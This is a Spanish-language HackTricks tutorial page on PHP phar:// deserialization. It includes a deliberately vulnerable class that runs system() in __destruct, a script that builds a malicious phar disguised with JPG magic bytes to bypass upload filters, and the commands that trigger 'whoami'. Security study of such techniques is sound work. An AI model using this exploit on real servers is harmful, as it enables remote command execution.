mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
110 lines
5.2 KiB
Markdown
110 lines
5.2 KiB
Markdown
# phar:// deserialization
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Bug bounty tip**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
Los archivos **Phar** (PHP Archive) **contienen metadatos en formato serializado**, así que, cuando se analizan, estos **metadatos** son **deserializados** y puedes intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**.
|
|
|
|
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**.
|
|
|
|
Así que, imagina una situación en la que puedes hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo **`phar://`**, y dentro del código encuentras una **clase** similar a la siguiente:
|
|
|
|
{% code title="vunl.php" %}
|
|
```php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
{% endcode %}
|
|
|
|
Puedes crear un archivo **phar** que, al ser cargado, **abusará de esta clase para ejecutar comandos arbitrarios** con algo como:
|
|
|
|
{% code title="create_phar.php" %}
|
|
```php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Nota cómo los **bytes mágicos de JPG** (`\xff\xd8\xff`) se añaden al principio del archivo phar para **eludir** **posibles** restricciones de **subida** de **archivos**.\
|
|
**Compila** el archivo `test.phar` con:
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
Y ejecutar el comando `whoami` abusando del código vulnerable con:
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
### Referencias
|
|
|
|
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|